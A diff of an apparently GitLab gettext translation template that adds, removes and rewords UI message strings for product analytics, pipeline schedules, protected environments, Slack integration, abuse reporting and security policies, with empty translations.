msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
